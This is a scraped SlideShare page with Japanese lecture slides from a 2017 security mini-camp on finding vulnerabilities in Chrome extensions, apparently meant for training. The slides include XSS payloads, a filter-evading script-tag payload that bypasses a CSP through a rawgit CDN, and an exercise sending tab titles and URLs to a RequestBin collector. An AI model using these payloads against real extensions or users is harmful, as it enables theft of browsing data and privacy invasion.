Home
Explore
Submit Search
Upload
Login
Signup
Advertisement
Check these out next
KafkaとPulsar
Yahoo!デベロッパーネットワーク
Mavenの真実とウソ
Yoshitaka Kawashima
Di入門
Ryo Asai
え、まって。その並列分散処理、Kafkaのしくみでもできるの? Apache Kafkaの機能を利用した大規模ストリームデータの並列分散処理
NTT DATA Technology & Innovation
Msを16倍出し抜くwpf開発2回目
cct-inc
分散ワークフローエンジン『Digdag』の実装 at Tokyo RubyKaigi #11
Sadayuki Furuhashi
Linuxにて複数のコマンドを並列実行(同時実行数の制限付き)
Hiro H.
Guide To AGPL
Mikiya Okuno
1
of
45
Top clipped slide
Chrome拡張機能の脆弱性を探そう!
Dec. 12, 2017
•
0 likes
2 likes
×
Be the first to like this
Show More
•
2,561 views
views
×
Total views
0
On Slideshare
0
From embeds
0
Number of embeds
0
Download Now
Download to read offline
Report
Technology
セキュリティ・ミニキャンプ in 北陸 2017(金沢)の講義資料です。WebExntensionsの脆弱性を考えます。
KageShiron
Follow
Advertisement
Advertisement
Advertisement
Recommended
Apache Archiva を試す
bouzuya
4.1K views
•
11 slides
IoTと業務システムをつなぐgRPC/RESTサービスの開発と運用
DeNA
6.3K views
•
114 slides
細かすぎて伝わらないD3 ver.4の話
清水 正行
15K views
•
65 slides
IoT と時系列データと Elasticsearch | Data Pipeline Casual Talk Vol.4
SORACOM,INC
10.5K views
•
55 slides
脱RESTful API設計の提案
樽八 仲川
13.8K views
•
53 slides
Yahoo! JAPANのコンテンツプラットフォームを支えるSpring Cloud Streamによるマイクロサービスアーキテクチャ #jsug #sf_52
Yahoo!デベロッパーネットワーク
11.1K views
•
90 slides
More Related Content
Slideshows for you
(20)
KafkaとPulsar
Yahoo!デベロッパーネットワーク
•
2K views
Mavenの真実とウソ
Yoshitaka Kawashima
•
12.6K views
Di入門
Ryo Asai
•
9.6K views
え、まって。その並列分散処理、Kafkaのしくみでもできるの? Apache Kafkaの機能を利用した大規模ストリームデータの並列分散処理
NTT DATA Technology & Innovation
•
12.4K views
Msを16倍出し抜くwpf開発2回目
cct-inc
•
8.2K views
分散ワークフローエンジン『Digdag』の実装 at Tokyo RubyKaigi #11
Sadayuki Furuhashi
•
70.5K views
Linuxにて複数のコマンドを並列実行(同時実行数の制限付き)
Hiro H.
•
14.6K views
Guide To AGPL
Mikiya Okuno
•
96.4K views
OpenWRTとIPv6で高速インターネット!
KageShiron
•
1K views
「速」を落とさないコードレビュー
Takafumi ONAKA
•
55.2K views
.NET の過去、現在、そして未来 ~ .NET 最新アップデート
Akira Inoue
•
2.7K views
DeNAのサーバー"コード"レスアーキテクチャ
Haruto Otake
•
2.4K views
分散トレーシング技術について(Open tracingやjaeger)
NTT Communications Technology Development
•
22.9K views
Aws 分散負荷テストツールを使ってapp runnerをスケールさせる(デモ動画削除)
ShinodaYukihiro
•
590 views
CloudNativeな決済サービスの開発と2年間の歩み #sf_A4
Junya Suzuki
•
4.3K views
Redisの特徴と活用方法について
Yuji Otani
•
98.6K views
Visual StudioやAzureからAzure DevOpsを使う
Takeshi Fukuhara
•
8.9K views
RESTfulとは
星影 月夜
•
109.8K views
MagicOnion入門
torisoup
•
10K views
Dockerを支える技術
Etsuji Nakai
•
81.9K views
Similar to Chrome拡張機能の脆弱性を探そう!
(20)
Chromeでストレージ永続化を実現するには
goccy
•
2.3K views
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Muneaki Nishimura
•
6.9K views
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
Takuya Mukohira
•
1.7K views
20140409勉強会
Masato Egami
•
434 views
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
Kengo Suzuki
•
13K views
ATNDに下書き保存とプレビューを追加するATND Draft
Atsuhiko Kimura
•
806 views
Fx OS n2_aoitan_firefox osことはじめ
Masami Yabushita
•
2K views
[デブサミ2012]趣味と実益の脆弱性発見
Yosuke HASEGAWA
•
6.7K views
Secret of Firefox
dynamis
•
28.2K views
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
Yui Ashikaga
•
2.8K views
情報セキュリティCAS 第三十六回放送用スライド
Kumasan, LLC.
•
352 views
SugarCRM meets FreeHosting
Toshiya TSURU
•
1.5K views
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
Takeshi Furusato
•
1.3K views
Up ai wolfプレゼン資料
Takanori Fukui
•
61 views
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
Hishikawa Takuro
•
20.5K views
Movable type seminar 20120703
Six Apart
•
1.6K views
About share info
coolwarekyoto
•
6.8K views
情報セキュリティCAS 第五十三回放送用スライド
Kumasan, LLC.
•
458 views
20121112 jaws-ug sapporo8
Hirokazu Ouchi
•
701 views
AWSでアプリ開発するなら 知っておくべこと
Keisuke Nishitani
•
22.7K views
Advertisement
Recently uploaded
(20)
MC-800DMT intrusion detector manual
Vedard Security Alarm System Store
•
3 views
Üslup ve tercüme.pdf
1Hmmtks
•
2 views
Wandb LLM Webinar May 30 2023 (配布用).pdf
Yuya Yamamoto
•
3 views
ChatGPT触ってみた
infinite_loop
•
57 views
HTTPの仕組みについて
iPride Co., Ltd.
•
9 views
JSTQB_テストプロセスの概念モデル.pdf
akipii Oga
•
224 views
社内ソフトスキルを考える
infinite_loop
•
85 views
JSONEncoderで詰まった話
とん とんぼ
•
143 views
統計学の攻略_統計的仮説検定の9パターン.pdf
akipii Oga
•
220 views
DrupalをDockerで起動してみる
iPride Co., Ltd.
•
21 views
Kubernetes超入門
Takashi Suzuki
•
5 views
OIDC(OpenID Connect)について解説③
iPride Co., Ltd.
•
24 views
GitHub と Azure でアプリケーションとインフラストラクチャの守りを固めるDevSecOps
Kazumi IWANAGA
•
6 views
TestSIP (1).pdf
DeependraSingh712859
•
2 views
SoftwareControl.pdf
ssusercd9928
•
15 views
点群SegmentationのためのTransformerサーベイ
Takuya Minagawa
•
13 views
SoftwareControl.pdf
ssusercd9928
•
7 views
統計学の攻略_推測統計学の考え方.pdf
akipii Oga
•
229 views
ペンタエリスリトール市場.pdf
HinaMiyazu
•
3 views
JSTQB_テストマネジメントとレビュープロセス.pdf
akipii Oga
•
196 views
Chrome拡張機能の脆弱性を探そう!
Chrome拡張機能の 脆弱性を探そう! 北陸金沢ミニキャンプ2017 12/3 KageShiron
About this • 北陸金沢ミニキャンプ2017の講義資料を公開用に再編したもの です。 •
外部への攻撃や、修正前の脆弱性の公開は違法行為や犯罪行為 となり、目的によらず罰せられる可能性があります。十分に注 意し、わからないことがあれば詳しい人に相談しましょう。 • スライド中で使う資料を以下からダウンロード可能です。 • 予告なく公開を終了する可能性があります。それ以降はお問い合わせ ください。 • https://goo.gl/fVxxYA
Chromeの拡張機能は便利! • スクリーンショットから、パスワードの自動入力、広告ブロッ クまで、多彩な拡張機能が存在 • FirefoxやEdgeでも同じ方式の拡張機能を採用(WebExtension) •
ただし、まだ使える機能にはだいぶ差異がある • 今回はChromeに絞って説明しますが、FirefoxやEdgeでも同様 のはずです
凡例 • 青 通常のWebページや、Webページの権限のデータのやりと りなど •
オレンジ 拡張機能ページや、拡張機能の権限のデータのやり とりなど
拡張機能の特権 • Webサイトなどと同様にJavaScriptで記述可能 • ブラウザの拡張機能は通常のWebサイトにない権限を持っている •
全てのWebサイト上にあるデータの読み取り、変更 • ブックマークへのアクセス • タブやウィンドウの操作 などなど • これにより通常のWebサイト ではできないような機能を 提供できる
通常のWebサイトにある脆弱性 デジタル大辞泉より ぜいじゃく‐せい【×脆弱性】 1 もろくて弱い性質または性格。 2 コンピューターネットワークにおける安全上の欠陥。オペ レーティングシステムやアプリケーションソフトのバグ、開発者 が予期しなかった利用方法などにより、悪意のある第三者によっ てコンピューターウイルスに感染させられたり、不正アクセスの 被害にあったりするおそれがあること。
XSS(クロスサイトスクリプティング) 予期しない場面でスクリプトが実行されてしまう脆弱性 ようこそ さん!
通常のWebサイトでXSSがあると・・・ • 偽の情報やフォームを設置する • 怪しいサイトに誘導する •
そのサイトのログイン情報や個人情報が盗まれる! • SNSなら勝手に投稿される! • 通販サイトなら無断で注文が実行される! • 銀行サイトなら不正にお金が送金される! XSSがあるサイト上で自由にスクリプト が実行されてしまう!
同一オリジンポリシー(Same Origin Policy) 「オリジン」によって境界を設けて権限が分離されている オリジンが違う(=別のサイト)の情報を読んだり、操作はできない SNS https://sns.test 脆弱な Webサイト http://example.com 銀行サイト https://example.bank
注意:SOPでは送信は防げない • SOPは「送信」を防ぐ仕組みではない • XMLHttpRequestなどでは攻撃者のサイトの中身は読めないが、 リクエストは送信される •
Webの原理的に回避方法があるので塞いでも意味がない • 例 : imgタグのsrcには別オリジンのURLを指定可能 • <img src="http://example.com?個人情報" /> 脆弱なサイト 攻撃者のサイト個人情報など
再掲:拡張機能の特権 • Webサイトなどと同様にJavaScriptで記述可能 • ブラウザの拡張機能は通常のWebサイトにない権限を持っている •
全てのWebサイト上にあるデータの読み取り、変更 • ブックマークへのアクセス • タブやウィンドウの操作 などなど
ブラウザの拡張機能 SNS https://sns.test 脆弱な Webサイト http://example.com 銀行サイト https://example.bank
実際に試してみよう • VulnExtension1 • タブの一覧を左に表示する拡張機能です •
サンプルなのでいろいろ動きが怪しいですが、お気になさらず • アドレスバーに「chrome://extensions」と打ち込み、拡張機 能管理ページへ。 • 「デベロッパーモード」にチェックを入れて「パッケージ化さ れていない拡張機能を読み込む」をクリックして、フォルダを 指定することで拡張機能をインストールできます。
Chrome Extensionの読み方 • manifest.jsonを読む •
拡張機能の情報を設定するファイル • ここを読めば必要なことが一通りわかる • https://developer.chrome.com/extensions/manifest • "permissions" 拡張機能が必要とする権限を定義する • "tabs" タブを操作する権限。タブのURL、位置、状態、ファビコンな どにアクセス可能となる。
Chrome Extensionの読み方 • "content_scripts"
Webページで実行するスクリプト、CSS • matches 実行するWebサイト。<all_urls>だと全てのページ • js,css それぞれ実行するスクリプトと読み込むCSS • run_at 実行するタイミング • "background" • 常に裏で起動しており、拡張機能の特権が使えるページ。コンテント スクリプトとやりとりを行う。 • ここで得られた情報を元に、コンテントスクリプトや、バック グラウンドスクリプトを読んでいく。
答:XSSの脆弱性がある • content.js内 • t.urlやt.titleにタグが埋め込み可能です。Googleで 「<script>alert("hello")</script>」と検索後、別のページを 開いて見ましょう。 •
全てのページでスクリプトが実行されてしまいます。 SNSでも、銀行サイトでも! var li = $("<li><div class='title '><img src='" + t.favIconUrl + "'>" + t.title + "</div><div class='url '>" + t.url + "</div></li>");
ブラウザ拡張の脆弱性の問題点 • 個人規模の拡張機能の小さな脆弱性が多くのサイトに影響 • 小さい個人Webサイトであればそこまで気にする必要はなかったのに •
Webサイト側で対処するのが不可能 • Webサイトは拡張機能がない状態を想定して設計しされている • 仮に脆弱性のある拡張機能があることを知っていても対処は困難 • 責任の所在やどこに通報して良いのか難しい
例えば、脆弱性より不正送金されたら? 銀行 開発者 うちのサイトに脆弱性はないよ 利用規約にある通り 拡張機能の利用は自己責任だよ 修正はするかもしれないけど 脆弱性や不具合の責任まではもたないよ
脆弱性2:タイトルやURLを読み取られる • タイトルやURLは通常のテキストとしてWebサイトに追加される • WebページからタブのタイトルやURLを読み取られてしまう •
これは脆弱性と言えるか? • 脆弱性なら、どんな問題がある? 拡張機能によって 追加された要素 通常のWebページ http://example.comContent Script タイトル URL Webページ側から読み取り可能
拡張機能作者の対策 • 通常のWebサイトと同じ、XSSなどの脆弱性を作り込まない • 「ユーザーが入力するデータ」「拡張機能のAPIから渡ってく る情報」には特に注意。意図しない情報が入ってくる危険があ る。 •
可能な限り余分な権限を使わない
答2:タイトルやURLを読み取られる • プライバシーの侵害 • 利用者の見ているサイトや検索ワードがバレる •
プライバシーや通信の秘密は重要な権利 • 機密情報が含まれる可能性がある • URLにセッションIDなどが含まれる • ユーザー名やメールアドレスが含まれる • 目的の個人情報があるページを勝手に、または利用者を誘導して開か せることで比較的容易に個人情報が収集できる • Gmail→タイトルに自分のメールアドレスが • Facebook→https://www.facebook.com/profileを開くとタイトルに名前が
実際にデータを読み取ってみよう • 実際に本来取得できないはずのタイトルやURL(機密情報)を外 部に送信してみます。 ① 機密情報の送信先のサイトを用意 ②
攻撃ページの用意 ③ 攻撃ページのプログラムを記述
①送信先のサイトを用意 • RequestBin • 飛んできたリクエストを記録してくれるサイト •
https://requestb.in/ 1. (念のためPrivateにチェックをつける) 2. Create a RequestBinをクリック 3. 新たなURLが発行される 4. ブラウザとかで後ろに"?SecretInformation"とかをつけてアク セス
①送信先のサイトを用意 5. 先ほどのページ(URLの後ろに?inspectをつけたもの)を開く と、アクセスの記録が残る! 6. ここのページに何らかの形でリクエストを投げられれば同様 の方法で外部に機密情報を送信できるということ
②攻撃ページの用意 • 「Web Server
for Chrome」は簡単にローカルサーバーを立て られるChromeアプリです。(自分のホームページを使ったり、 他の手段でローカルサーバを立てても構いません) 1. 事前にインストールしてない方はChrome Web Storeから 「Web Server for Chrome」で検索 2. 適当なフォルダにindex.html というファイルを作成 3. アプリを起動し、"CHOOSE FOLDER" からそのフォルダを指定 4. 下のhttp://127.0.0.1:8887を クリック
③攻撃ページの記述 • 先ほどのindex.htmlにプログラムを書いてみましょう。 RequestBinにタブやURLの情報が表示できれば成功です。 • HTML/JavaScriptが苦手な方は、途中まで埋めたサンプルがあ るので、それを使ってみてください。(attacksample) •
拡張機能が挿入するサイドバーのIDなどが必要な場合は デベロッパーツールを利用して 確認することができます。
④まとめ • requestb.inにタブの情報が表示されて入れば成功です。 • これと同一の方法で、攻撃者は好きなページに機密情報を送る ことができてしまいます。 •
うまくいかない場合のヒント • 標準のブラウザで開いてしまう場合がありますが、必ず拡張機能をイ ンストールしたChromeで開いてください。 • 送信先のURLは "http://requestb.in/xxxxx?機密情報"のよのように、? が入ります。抜けていないか確認してください。 • この?から後ろはパラメータだよという意味です。例えば、Googleで 検索すると"https://www.google.co.jp/search?q=検索ワード"のよの ように?の後ろに色々な情報が載っているのがわかります。
安全にデータを埋め込むには • iframeタグでchrome-extension://のページを埋め込む必要が ある。 拡張機能のページ chrome-extension://〜 通常のWebページ http://example.comContent Script
埋め込み 拡張機能のBackgroundページ データ(例:URLとタイトル) 同一オリジンポリシーにより やりとりは認められない
より詳しく学ぶなら • Google Chromeのリファレンス •
Mozilla Developers Network(MDN)のWebExtensionsのページ • ブラウザハック(書籍) • 実際に拡張機能を書いてみる • 通常のWebのセキュリティと同一の知識 • 実際に脆弱性を探してみる
おまけ:Chromeの拡張機能のダウンロード • 自身のブラウザにインストール後にその場所を見る • Windows •
C:Users(ユーザ名)AppDataLocalGoogleChromeUser DataDefaultExtensions • Mac • /Users/(ユーザー名)/Library/Application Support/Google/Chrome/Default/Extensions • Chrome extension source viewer • ストア上の拡張機能の中身を確認できるツール • crx、zipでのダウンロードも可能 • ググるとダウンロードできるサイトもある • crxはzipにヘッダーをつけたもの。解凍はフリーソフトの7zip でできることを確認
追加スライド CSP • 当日は駆け足の説明となってしまいました
拡張機能のページ chrome-extension://〜 通常のWebページ http://example.comContent Script タブ(http://example.com) コンテントスクリプトや埋め込みiframeの中では拡張機能内 のやりとりと、同一オリジンポリシーの無視などの特権が与 えられている。 拡張機能の特権(制限付き)
拡張機能の特権(制限なし) 一方で、バックグラウンドページやポップアップ、拡張機能のタブで はmanifest.jsonのpermissionに指定することでより強い特権が利用で きる タブの操作、ブックマークの操作、通信の傍受・書き換え...etc ここに脆弱性があったら? 拡張機能のページ chrome-extension://〜 ポップアップ 拡張機能のページ chrome-extension://〜 バックグラウンドページ 拡張機能のページ chrome-extension://〜 拡張機能のタブ
実際に確認して見る • Googleなどで<>bold!</b><script>alert("hello!")</script>な どと検索。通常のWebサイトではhello!というアラートが表示 されてしまう。 • 先ほどの拡張機能にはtest.htmlというページがあるのでそこを 開く •
chrome-extension://拡張機能ID/test.html • 拡張機能IDはChromeの拡張機能管理ページから確認可能です。 • ここではbold!は太字になっているのに、スクリプトは実行さ れない • merqueeタグを使うとわかりやすい
Content Security Policy(CSP)に守られた! •
デベロッパーツールに以下のようなログがある • CSPの指定にないスクリプトの実行は許可されない • おかげで特権ページが乗っ取られ、任意のスクリプトが実行さ れる事態は防げた。
Content Security Policy •
Content Security Policy(CSP)はXSSなどの攻撃からWebサイ トや拡張機能を守るための機構 • 標準では同じ拡張機能内に含まれるjsファイルを<script src="script.js"></script>のように指定した場合のみ実行可能 • X 別のオリジンにあるファイル(例:http://example.com/script.js) • X <script>alert("hello!")</script>のようにページ中に埋め込まれた スクリプト • これにより、単純なXSSの被害の緩和が期待できる
CSPは緩められる • この制限は安全だけどかなり厳しくてうざい • 一番制限を強めるとCSS、スクリプト、画像、動画なんかも一切読み 込み不能になる •
Chrome Extensionの標準ではスクリプトとオブジェクト(Flashなど) のみが指定されている。 • 制限を緩めたい • Webサイトを拡張機能として移植したい(scriptタグが含まれる) • 外部においてあるスクリプトを読み込みたい • トラッキングや広告の表示にスクリプトが必要 → manifest.jsonに記述することで可能 →セキュリティ機構を緩める以上、当然危険も・・・
実際に脆弱性を試して見る • Vuln-Extension2 • chrome-extension://拡張機能ID/popup.html •
検索機能つきのセキュリティミニキャンプの一覧表です。 • まず脆弱性を探してみましょう。 • スクリプトはCSPによって実行できないはずです。 <marquee>test</marquee>などを挿入できれば、testという文字が 流れて脆弱性の存在が確認できます。
脆弱性 • エスケープされていないので、またタグを挿入できます。 • 検索欄に<maruqee>test</marquee>とか入れれば確認可能 •
ただ、これだけだとユーザーの入力を伴うので脆弱性としては ちょっと乏しい //検索しました!を表示 $("#search-result").html(text + "を検索しました!");
脆弱性 • URLにpopup.html#<mareuqee>test</marquee>のように指 定されるとそれが検索窓に入る • 普通Webページのリンクからは拡張機能のページを開けませんが、他 の脆弱性によって回避される可能性がしばしばあります。 //
「popup.html#金沢」のように開くと、「金沢」の部分だけ取得 var search = location.hash.substring(1); // <script>タグっぽいものを削除する search = search.replace(/<script.*?>/g,""); $("#search-text").val(search);//検索ボックスに入れる $("#search-button").click();//クリック
<script>を除去しようとしているが・・・ • search.replace(/<script.*?>/g,"");のようにして、<script>っ ぽいものを除去しようとしていますが、これは逆効果です。 "<scr<script>ipt >"を除去すると、"<script>"になってしまい ます。 •
ミニキャンプ当日は入れてなかったのですが、Google Chrome は標準のXSSフィルターという機能で、XSSっぽいものの除去 を試みます。それを回避するために追加しました。 • 詳細は「XSSフィルター」で検索してみてください。今回は詳 しくは述べません。
CSPのバイパス • manifest.jsonに上記の指定がある。scriptタグの読み込み先を 以下に限定 • 'self'(拡張自信内部) •
' https://cdn.rawgit.com'(GitHubを利用したCDN) • popup.htmlを見ると、jQueryをGithub gistから読み込んでいる ことがわかる "content_security_policy": "script-src 'self' https://cdn.rawgit.com; object-src 'self'" 自分でも任意のファイルを Github上で公開可能
実際に攻撃を行ってみよう • (1)gistに任意のスクリプトを記述する。 • https://gist.github.com •
(gistはログイン不要だが、どうやらrawgitはログインユーザーしか対 応してないらしい) • (2)RawGitでCSP内で実行できるスクリプトを記述する • https://rawgit.com/ • (3)<script src="先ほどのファイル"></script>と拡張機能の検 索欄に入れて、スクリプトが実行されることを確認しよう
例 • この拡張機能では、tabs、bookmarks、<all_urls>の権限が与 えられています。 • 上の例は最近使ったブックマークを1つ表示。 •
https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2 ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4 a/csp-bypass.js chrome.bookmarks.getRecent(1,function(x){ alert(x[0].title); });
例: • 拡張機能のページで上のように検索して見ると、CSPをバイパ スし、アラートが表示されることがわかります。 • URLからアクセスする場合は、#以下を下記に •
#<scr<script>ipt src="https://c<script>dn.rawgit.com/KageShiron/dcff92d89453bea 8c20a2ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4 a/csp-bypass.js"></script> <script src="https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2 ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4a/cs p-bypass.js"></script>
Advertisement